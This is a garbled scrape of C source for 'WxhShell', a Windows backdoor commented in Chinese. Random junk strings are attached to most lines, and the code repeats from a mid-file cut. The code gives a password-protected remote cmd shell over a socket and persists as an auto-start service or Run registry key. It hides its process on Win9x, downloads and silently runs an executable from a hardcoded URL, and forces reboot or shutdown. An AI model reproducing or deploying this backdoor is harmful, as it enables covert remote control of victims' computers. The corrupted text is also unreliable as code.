    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); v* ~%x  
    if(Boot(SHUTDOWN)) E#$_uZ4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $Kz\ h#}  
    else { f=_?<I{  
    closesocket(wsh); @MZ6E$I  
    ExitThread(0); 7e4tUAiuU  
    } QP5:M!O<)  
    break; h0 GdFWN  
    } }gi1?a59  
  // 获取shell  K-5"#  
  case 's': { V> a3V'  
    CmdShell(wsh); KPjqw{gR_R  
    closesocket(wsh); 3cfZ!E~^kc  
    ExitThread(0); #4_O;]{'  
    break; t7oz9fSz=?  
  } 9hR:y.  
  // 退出 *KjVPs  
  case 'x': { ?Y0$X>nm  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); QE#-A@c  
    CloseIt(wsh); =*:[(Py1  
    break; 1s} ``1>  
    } NkA6Cp[Q,1  
  // 离开 bpF@}#fT  
  case 'q': { /[|}rqX(  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 1x\W52 1  
    closesocket(wsh); W}R=  
    WSACleanup(); /2_B$  
    exit(1); Sa[EnC  
    break; W -C0 YU1  
        } *]:G7SW{  
  } +A'q#~yILa  
  } Jl}!CE@-  
|,a%z-l  
  // 提示信息 LTYu xZ  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ilIV}8  
} 4('0f:9z+  
  } GwMUIevO_  
.}$`+h8W T  
  return; Y1yXB).AH8  
} f^6&Fb>  
 g`)/x\  
// shell模块句柄 igRDt{}  
int CmdShell(SOCKET sock) \2gvp6  
{ r\l3_t  
STARTUPINFO si; e<L 9k}c  
ZeroMemory(&si,sizeof(si)); w~Tq|kU[  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ZM-/n>  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; f>s#Ngvc  
PROCESS_INFORMATION ProcessInfo; KMpDlit  
char cmdline[]="cmd"; np`g cj#  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); k5fH ;  
  return 0; f0cYvL ]  
} }P&1s,S8J#  
~51kiQW  
// 自身启动模式 [NCXn>Z  
int StartFromService(void)  +eDN,iv  
{ W;OYO  
typedef struct Jm]]>K8.3V  
{ [.#p  
  DWORD ExitStatus; f gK2.;>  
  DWORD PebBaseAddress; {p#l!P/  
  DWORD AffinityMask; d6t)gG*5  
  DWORD BasePriority; H;TOPtt2  
  ULONG UniqueProcessId; 33{;[/4  
  ULONG InheritedFromUniqueProcessId; qXP1Q3  
}   PROCESS_BASIC_INFORMATION; 7E!";HT  
e-%7F]e  
PROCNTQSIP NtQueryInformationProcess; ;Xfd1    
SmT+L,:D  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 6:|!1Pg5  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; <i{m.p R>  
_:ZFCDO  
  HANDLE             hProcess; E !Oz|q  
  PROCESS_BASIC_INFORMATION pbi; Z9J =vzsHE  
~zE 1'  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); *c~'0|r  
  if(NULL == hInst ) return 0; KD,^*FkkL  
AMh37Xo  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); G_2gKkIK-  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); AQnJxIL:  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); z&C{8aQ'  
-(/2_&"  
  if (!NtQueryInformationProcess) return 0; 3D?IG\3  
:Bx+WW&P.i  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); dDv{9D,  
  if(!hProcess) return 0; X \b}jo^96  
a<57(Sf  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; @MN}^umx`  
;e#>n!<u  
  CloseHandle(hProcess); *tTP8ZCQ[  
`G"|MM>P  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); (B>yaM#5  
if(hProcess==NULL) return 0; \yJZvhUk  
@7Q*h   
HMODULE hMod; RMS.1:O  
char procName[255]; 3JlC/v#0  
unsigned long cbNeeded; T=eT^?v  
?VMi!-POE  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); G zJ9N`  
LCo1{wi  
  CloseHandle(hProcess); Ht`<XbQ>  
7.7Cluh5,  
if(strstr(procName,"services")) return 1; // 以服务启动 ['51FulDR  
$?]@_=  
  return 0; // 注册表启动 F9m2C'U  
} Ur_ S [I  
jsk:fh0~M  
// 主模块 ]6a/0rg:t  
int StartWxhshell(LPSTR lpCmdLine) `!UaScM  
{ tIi!* u  
  SOCKET wsl; U7nsMD  
BOOL val=TRUE; * ajFZI  
  int port=0; pX>ua5Z  
  struct sockaddr_in door; zVp[YOS&c  
NDB*BmG  
  if(wscfg.ws_autoins) Install(); ,X9hl J  
;eS;AHZ  
port=atoi(lpCmdLine); w$DG=!  
]yyU)V0Iu  
if(port<=0) port=wscfg.ws_port; c0!Te'?  
?Ia4H   
  WSADATA data; Ux_EpC   
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; gZw\*9Q9  
 4 "pS  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   C $]5l; `  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ~hS .\h  
  door.sin_family = AF_INET; K:}h\ In  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); (A7T}znG  
  door.sin_port = htons(port); *)j@G:  
(/T +Wpy?  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { XoDJzrL#  
closesocket(wsl); L/qZ ;{  
return 1; ]h #WkcXQ  
} GIl:3iB49  
|RHO+J  
  if(listen(wsl,2) == INVALID_SOCKET) { H/cs_i  
closesocket(wsl); EsT0"{  
return 1; ggrI>vaw  
} jG+T.  
  Wxhshell(wsl); R19'| TJ  
  WSACleanup(); &E.OyqGZV  
PRMZfYc  
return 0; 21.YO]Et  
!&@2  
} 1P5*wNF  
~GNyE*t/Y  
// 以NT服务方式启动 GYFgEg}  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) UqD5 A~w  
{ fdd~e52f  
DWORD   status = 0; NY~ dM\  
  DWORD   specificError = 0xfffffff; w0#% AK  
V[#6yMU@  
  serviceStatus.dwServiceType     = SERVICE_WIN32;  II.<SC  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; y.jS{r".  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; QH& %mr.S  
  serviceStatus.dwWin32ExitCode     = 0; qsI{ b<n  
  serviceStatus.dwServiceSpecificExitCode = 0;  ]a78tTi  
  serviceStatus.dwCheckPoint       = 0; Sv.KI{;v$  
  serviceStatus.dwWaitHint       = 0; \z2vV +f  
y' 2<qj  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ' " Bex`  
  if (hServiceStatusHandle==0) return; V %i<;C  
Zk wJ.SuU  
status = GetLastError(); B#J{F  
  if (status!=NO_ERROR) $`E4m8fX  
{ V78Mq:7d  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; x*:n4FZ7b  
    serviceStatus.dwCheckPoint       = 0; P1dN32H o  
    serviceStatus.dwWaitHint       = 0; @[n2dmj  
    serviceStatus.dwWin32ExitCode     = status; gBMta+<fE~  
    serviceStatus.dwServiceSpecificExitCode = specificError; 7^c2e*S  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); kJ/+IGV^v  
    return; A$/KP\0Y2  
  } ]a8eDy  
g* %bzfk=|  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Y3D3.T6Q  
  serviceStatus.dwCheckPoint       = 0; D5=C^`$2  
  serviceStatus.dwWaitHint       = 0; fW(;   
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); K3Huu!Tr  
} [0K=I64 z  
7}gA0fP9  
// 处理NT服务事件,比如:启动、停止 !>\9t9  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ;F|jG}M"  
{ Q{O/xLf  
switch(fdwControl) ;9K[~  
{ IoQr+:_R  
case SERVICE_CONTROL_STOP: yU> T8oFh  
  serviceStatus.dwWin32ExitCode = 0; 'T%IvJ#Xu  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; O2C6V>Q;  
  serviceStatus.dwCheckPoint   = 0; ]OUD5T  
  serviceStatus.dwWaitHint     = 0; 'zE: fLo  
  { F/)f,sZF  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); KUbJe)}g  
  } OE6#YT  
  return; P;jlHZ9?O  
case SERVICE_CONTROL_PAUSE: y*_K=}pk  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; RTA%hCr!  
  break; C:Vv!u  
case SERVICE_CONTROL_CONTINUE: yj>) {NcX  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; HP#ki!'  
  break; 9_eS`,'  
case SERVICE_CONTROL_INTERROGATE: =+`D  
  break; E`~i-kf  
}; OO$|9`a  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); T)`gm{T  
} #uB[&GG}W  
Yi[4DfA  
// 标准应用程序主函数 .a {QA  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) H%FM  
{ ?b5H 2 W  
eVTO#R*'|  
// 获取操作系统版本  2mQOj$Lv  
OsIsNt=GetOsVer(); {798=pC<.  
GetModuleFileName(NULL,ExeFile,MAX_PATH); AYt*'Zeg!s  
]Uu aN8  
  // 从命令行安装 b"^\)|*4;  
  if(strpbrk(lpCmdLine,"iI")) Install(); Xp#~N_S$  
/GyEVCc  
  // 下载执行文件 o94P I*.  
if(wscfg.ws_downexe) { D$ej+s7  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) OqtQA#uL  
  WinExec(wscfg.ws_filenam,SW_HIDE); Ln:lC( '  
} O!/ekU|,r  
,b$z!dvhl  
if(!OsIsNt) { Ac J>$L)  
// 如果时win9x,隐藏进程并且设置为注册表启动 UB a-  
HideProc(); -E:(w<];  
StartWxhshell(lpCmdLine); _n7%df  
} ad9EG#mD#  
else f:S}h-AL&  
  if(StartFromService()) WBa /IM   
  // 以服务方式启动 xwi!:PAf,o  
  StartServiceCtrlDispatcher(DispatchTable); R<>tDwsZGa  
else z[*zuo  
  // 普通方式启动 KA?v.s  
  StartWxhshell(lpCmdLine); G<|:605  
ssPI$IRg!  
return 0; Xt\Dy   
} QOd!]*W`?m  
'g2vX&=$A  
z1#oW f{*  
 K,6OGsh  
=========================================== C]M7GHe1q  
&"xQ~05  
o7J{+V  
E_]k>bf\  
Xh`"  
loLKm]yV  
" }Iip+URG  
,2,W^HJ  
#include <stdio.h> j|k @MfA  
#include <string.h> f'i6QMk\&  
#include <windows.h> v O PMgEI  
#include <winsock2.h> !n:uiwh  
#include <winsvc.h> ]b> pI;  
#include <urlmon.h> 1b8c67j[  
Jb9F=s+  
#pragma comment (lib, "Ws2_32.lib") ~+=E"9Oo  
#pragma comment (lib, "urlmon.lib") UUGe"]V^g:  
YlrB@mE0n$  
#define MAX_USER   100 // 最大客户端连接数 ]r!QmWw~V  
#define BUF_SOCK   200 // sock buffer 6A.P6DW  
#define KEY_BUFF   255 // 输入 buffer {79qtq%W{  
* O5:  
#define REBOOT     0   // 重启 l!/!?^8|f  
#define SHUTDOWN   1   // 关机 >GmN~"iJ  
QTfu:m{  
#define DEF_PORT   5000 // 监听端口 RvR:e|  
>2u y  
#define REG_LEN     16   // 注册表键长度 lf6|.  
#define SVC_LEN     80   // NT服务名长度 XO%~6Us^  
*<UGgnmLE  
// 从dll定义API jx'2N~$  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ,&[7u9@  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); CB6o$U  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); TqAtcAurM  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); (U_wp's  
jAZ >mo[  
// wxhshell配置信息 1g~y]iQ  
struct WSCFG { A*Rn<{U  
  int ws_port;         // 监听端口 o_(0  
  char ws_passstr[REG_LEN]; // 口令 7pP+5&*  
  int ws_autoins;       // 安装标记, 1=yes 0=no 95[wM6?J  
  char ws_regname[REG_LEN]; // 注册表键名 bb}?h]a   
  char ws_svcname[REG_LEN]; // 服务名 z(rK^RT  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 h07eE g  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 /7x\;&bc  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Hg aZbb>'  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ^j[Ku  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" X% X$Y6  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Hv8H.^D>  
LJj=]_  
}; x^X$M$o,l  
mbGcDG[HQ  
// default Wxhshell configuration *Wso3 6an  
struct WSCFG wscfg={DEF_PORT, 0d";Hh:  
    "xuhuanlingzhe", d+Ds9(gV  
    1, |_, /u_  
    "Wxhshell", 0 7\02f  
    "Wxhshell", @0D![oA  
            "WxhShell Service", TW2Z=ks=  
    "Wrsky Windows CmdShell Service", x2@,9OUx  
    "Please Input Your Password: ", $ o " L;j  
  1, SHwRX? B|  
  "http://www.wrsky.com/wxhshell.exe", yjFe'  
  "Wxhshell.exe" WcU@~05b  
    }; QkL@JF]Re  
F3Dt7q  
// 消息定义模块 ol<lCp  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ~$Y|ca  
char *msg_ws_prompt="\n\r? for help\n\r#>"; GkciA{  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; +aj^Cs1$  
char *msg_ws_ext="\n\rExit."; i5VG2S  
char *msg_ws_end="\n\rQuit."; ~{P:sjsU  
char *msg_ws_boot="\n\rReboot..."; Je@kiE  
char *msg_ws_poff="\n\rShutdown..."; kN.B/itvA  
char *msg_ws_down="\n\rSave to "; ^SAq^3^P!  
@/ k x er  
char *msg_ws_err="\n\rErr!"; !*_K.1'  
char *msg_ws_ok="\n\rOK!"; YmgCl!r@  
;iQp7aW{$  
char ExeFile[MAX_PATH]; 9x[ U$B  
int nUser = 0; +6oG@  
HANDLE handles[MAX_USER]; jq[x DwPG  
int OsIsNt; {>h97}P  
B4^`Sw  
SERVICE_STATUS       serviceStatus; >(3'Tnu  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ~~q}cywBk  
{_(+>v"eJ  
// 函数声明 hiN/S|JN8y  
int Install(void); lV)G@l[1  
int Uninstall(void);  NpR6  
int DownloadFile(char *sURL, SOCKET wsh); cQn)^jx=  
int Boot(int flag); {xToz]YA  
void HideProc(void); l&Q!mU}  
int GetOsVer(void); wV:C<Mg7q  
int Wxhshell(SOCKET wsl); jtCZfFD?  
void TalkWithClient(void *cs); `kPc!I7Y  
int CmdShell(SOCKET sock); ;`X~ k|7K  
int StartFromService(void); YZ**;"<G  
int StartWxhshell(LPSTR lpCmdLine); u7#z^r  
3~<}bee5|q  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 3S;N(A4  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); cix36MR_  
f?maa5S  
// 数据结构和表定义 ^j=bObaX  
SERVICE_TABLE_ENTRY DispatchTable[] = ${>DhfF  
{ Sr"/-  
{wscfg.ws_svcname, NTServiceMain}, fI]bzv;  
{NULL, NULL} qtY m!g  
}; \8>oJR 6  
="3,}qR  
// 自我安装 K}K)`bifw  
int Install(void) UJn/s;$.e  
{ 8gI\zgS  
  char svExeFile[MAX_PATH]; 5(#-)rlGj  
  HKEY key; VMF|iB  
  strcpy(svExeFile,ExeFile); t%$@fjz  
1a8$f5  
// 如果是win9x系统,修改注册表设为自启动 5r7h=[N  
if(!OsIsNt) { $H;+}VQ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { KoF iQ?  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); vYdlSe=6G  
  RegCloseKey(key); L {qJ-ln:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { H;y}-=J+  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *Ru2:}?MpS  
  RegCloseKey(key); %E.S[cf%8&  
  return 0; gt@SuX!@{^  
    } Q1T@oxV  
  } HTR1)b  
} H#Q;"r3  
else { M BVOfEMj  
|7c `(.  
// 如果是NT以上系统,安装为系统服务 @c]Xh:I  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); */_@a?  
if (schSCManager!=0) yC"Zoa6YZ  
{ SQE` U  
  SC_HANDLE schService = CreateService TGpSulg7  
  ( W_}/O'l{  
  schSCManager, '\t7jQ  
  wscfg.ws_svcname, gQ+9xTd  
  wscfg.ws_svcdisp, ]nc2/S%  
  SERVICE_ALL_ACCESS, ._,trb>o  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 5 0Ad,mn<  
  SERVICE_AUTO_START, mf2Mx=oy  
  SERVICE_ERROR_NORMAL, p:tN642  
  svExeFile, km4g}~N</  
  NULL, 9I kUZW  
  NULL, jCQho-1QN  
  NULL, K(3&27sGN  
  NULL, P^zy;Qs7  
  NULL A{(T'/~"  
  ); 41}/w3Z4  
  if (schService!=0) DxfMqH[vs  
  { ls @5^g  
  CloseServiceHandle(schService); Ay%:@j(E  
  CloseServiceHandle(schSCManager); wv^b_DR  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); (OqHfv  
  strcat(svExeFile,wscfg.ws_svcname); c,$mWTC  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Wj OH/$(  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); nq@5j0fK  
  RegCloseKey(key); 4m /TW)  
  return 0; [gZDQcU  
    } @woC8X  
  } #_fY4vEO  
  CloseServiceHandle(schSCManager); OZT^\Ky_l  
} )eq}MaW+j  
} H&K3"Ulw  
85hQk+Bu4  
return 1; 0x71%=4H^x  
} y ||@?Y  
" 5|\X<f  
// 自我卸载 >?V<$>12  
int Uninstall(void) )&z4_l8`=  
{ Pi){h~B>  
  HKEY key; <jFSj=cIL  
k* Pz&8|  
if(!OsIsNt) { @h(!<Ux_  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { c'rd$  
  RegDeleteValue(key,wscfg.ws_regname); kwF]TO S  
  RegCloseKey(key); pYh!]0n  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $T/#1w P  
  RegDeleteValue(key,wscfg.ws_regname); = t-fYV  
  RegCloseKey(key); PCZ]R  
  return 0; +6376$dC  
  } @/(@/*+"  
} LzE/g)>  
} $iHoOYx]<  
else { 6(.H3bu  
1J'pB;.]s  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); =qX*]  
if (schSCManager!=0) $',3Pv  
{ ^ $wJi9D6  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);  "l2bx  
  if (schService!=0) ]#5^&w)'  
  { 5[<F_"x  
  if(DeleteService(schService)!=0) { OpqNEo\  
  CloseServiceHandle(schService); N8 M'0i?  
  CloseServiceHandle(schSCManager); *%?d\8d  
  return 0; Cya5*U0=  
  } 3 Ta>Ki  
  CloseServiceHandle(schService); \k4pK &b  
  } |z+9km7,  
  CloseServiceHandle(schSCManager); A6i et~h[  
} [Auc*@  
} m>YWxa   
<`+zvUx^?  
return 1; f?0D%pxc}&  
} 1 7i$8  
/x/4NeD  
// 从指定url下载文件 N]u2ql&  
int DownloadFile(char *sURL, SOCKET wsh) -ek1$y9)  
{ R'Eq:Rv~;^  
  HRESULT hr; piuKV U  
char seps[]= "/"; doH2R @  
char *token; 4,zvFH*AH  
char *file; }! =U^A)  
char myURL[MAX_PATH]; 97S? ;T  
char myFILE[MAX_PATH]; '=@r7g.2  
H+R7X71{  
strcpy(myURL,sURL); yZ~b+=UM  
  token=strtok(myURL,seps); !EM#m@kZ{  
  while(token!=NULL) 3I\m,Ob  
  { oXbI5XY)wb  
    file=token; @p6@a6N%  
  token=strtok(NULL,seps); f8#*mQ  
  } 6qDfcs  
)Oe`s(O@[I  
GetCurrentDirectory(MAX_PATH,myFILE); N33AcV!*8  
strcat(myFILE, "\\"); 6?!I  
strcat(myFILE, file); X(b1/lzA  
  send(wsh,myFILE,strlen(myFILE),0); ig$jKou F  
send(wsh,"...",3,0); x5PPu/  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); O8[k_0@  
  if(hr==S_OK) !%wdn33"  
return 0; 9fMSAB+c%  
else ZMe}M!V  
return 1; Oj-r;Tt_G}  
v~aLTI  
} 0# l#,Y6#I  
|i u2&p >  
// 系统电源模块 (JU_8j!  
int Boot(int flag) W]@6=OpH  
{ KqK9X  
  HANDLE hToken; W\NG>t  
  TOKEN_PRIVILEGES tkp; hbH#Co~o4#  
ke^d8Z.  
  if(OsIsNt) { *:[b'D!A  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); (:l(_-O  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 5pmQp}}R  
    tkp.PrivilegeCount = 1; o~k;D{Snr  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; !pl_Ao~(  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Rhv%6ekI  
if(flag==REBOOT) { ]/[0O+B?  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))  -tMA  
  return 0; jJ c07r']  
} ez+yP,.#  
else { NFV_+{X\  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ?lyltAxs'  
  return 0; 8J):\jAZ6  
} N2% :h;tf  
  } ]$|st^Q  
  else { DiR'p`b~  
if(flag==REBOOT) { !")WZq^`  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) @C07k^j=U  
  return 0; ",QPb3  
} >HX)MwAP  
else { 3AvcJ1  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) fRFYJFc n  
  return 0;  VmYBa(  
} x*J|i4  
} Y6a$gXRT  
,$ mLL  
return 1; I^@.Aw t  
} mQL8QW[c  
s6IP;}  
// win9x进程隐藏模块 ?jFc@t*\:  
void HideProc(void) 0NrTJ R`  
{ &<@%{h@=  
rXuAixu!t  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); .c03}RTC^  
  if ( hKernel != NULL ) GeVc\$K-  
  { @~hz_Nm@8  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); $^ubo5%  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); %^T!@uZr  
    FreeLibrary(hKernel); rX:1_q`xA  
  } x~nQm]@`h  
YY\Rua/nG  
return; (<n>EF#  
} =<TO"  
Nv{eE<<6  
// 获取操作系统版本 Xa)7`bp<  
int GetOsVer(void) {)@ j77P  
{ T*8_FR<  
  OSVERSIONINFO winfo; %~G0[fG  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); \"t`W:  
  GetVersionEx(&winfo); D*qzNT@`LR  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) v23TL  
  return 1; P$Ax c/H  
  else jKYm/}d  
  return 0; BjN{@ aEO  
} &`m~o/  
%Dl_}  
// 客户端句柄模块 ti+pUlVrM  
int Wxhshell(SOCKET wsl) -;f+; M  
{ uO6c3|Zjs  
  SOCKET wsh; 4sI3(z)9H  
  struct sockaddr_in client; x)d2G 6x  
  DWORD myID; wqf&i^_  
ynxWQ%d(`  
  while(nUser<MAX_USER) ?$2q P`-  
{ I>\}}!  
  int nSize=sizeof(client); V!\n3i?i  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); w9'H.L q  
  if(wsh==INVALID_SOCKET) return 1; {Qm6?H  
?F9hDLX  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); vrQFx~ZztH  
if(handles[nUser]==0) [l`^fnKt  
  closesocket(wsh); 3b,=  
else 1 iquHn  
  nUser++; `I@)<d  
  } {rs6"X^  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); JE/l#Q!  
O3!Ouh&  
  return 0; 2YaTT& J  
} {7/A  
Z"4VH rA  
// 关闭 socket zV6AuUIt  
void CloseIt(SOCKET wsh) %+D-y+hn  
{ 9t.fij  
closesocket(wsh); Wn2Ny jX  
nUser--; ]j72P  
ExitThread(0); 5f/@: ~  
} x_]",2 W'  
|:dCVd<du  
// 客户端请求句柄 \ YjB+[.  
void TalkWithClient(void *cs) 3x,Aczb  
{ F fZ{%E  
XryQ)x(  
  SOCKET wsh=(SOCKET)cs; @"jmI&hYn  
  char pwd[SVC_LEN]; 5?D1][  
  char cmd[KEY_BUFF]; |zK!+fu  
char chr[1]; 8+=p8e~An  
int i,j; zojuH8  
|2WxcW]U.%  
  while (nUser < MAX_USER) { Q9Q!9B @  
Z3LQl(  
if(wscfg.ws_passstr) { c1gz #,  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); YK(XS"Kl  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 0F-mROC=F  
  //ZeroMemory(pwd,KEY_BUFF); ViCg|1c  
      i=0; -lnTYxo+]^  
  while(i<SVC_LEN) { A/ox#(!v  
0G+L1a-  
  // 设置超时 v+|@}9|Z  
  fd_set FdRead;  aOaF&6'j  
  struct timeval TimeOut; N02zPC 8  
  FD_ZERO(&FdRead); %ZJ),9+  
  FD_SET(wsh,&FdRead); ';i"?D?NAk  
  TimeOut.tv_sec=8; \=HfO?$ Ro  
  TimeOut.tv_usec=0; FSI]k:  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ^yzo!`)fso  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); a*pXrp@  
0+$hkd n  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5q0BG!A%T  
  pwd=chr[0]; xc:`}4  
  if(chr[0]==0xd || chr[0]==0xa) { =1V>Vd?8.  
  pwd=0; -wPuml!hZ|  
  break; S7@ZtFf  
  } GGFar\ EzW  
  i++; !7kAJG g  
    } :Vu7,o  
R^mu%dw)(%  
  // 如果是非法用户,关闭 socket b(+w.R(+Ti  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ,%"\\#3S  
} 2@"0} po#  
ux" D ]P  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); yfRUTG  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9n06n$F  
P wt ?9I  
while(1) { <k!mdj)  
8=ukS_?Vy  
  ZeroMemory(cmd,KEY_BUFF); k)<~nc-  
,3fuX~g  
      // 自动支持客户端 telnet标准   UKt/0Ze  
  j=0; F^/~@^{P  
  while(j<KEY_BUFF) { 1t~S3Q||>]  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); o|b[(t$;O  
  cmd[j]=chr[0];  "@UU[o  
  if(chr[0]==0xa || chr[0]==0xd) { (ffOu#RQ3  
  cmd[j]=0; 9RCB$Ka6X  
  break; ~Q.8 U3"  
  } /j=DC9_  
  j++; , }xpYq_/  
    } f4 Sw,A  
#`YxoY`  
  // 下载文件 z=- 8iks|  
  if(strstr(cmd,"http://")) { [[.&,6  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); -KJ}.q>upq  
  if(DownloadFile(cmd,wsh)) U|y;b+n`  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3:02`;3  
  else 6T} CPDRq  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9.MGH2^ L?  
  } &VZmP5Gv  
  else { Os]!B2j14  
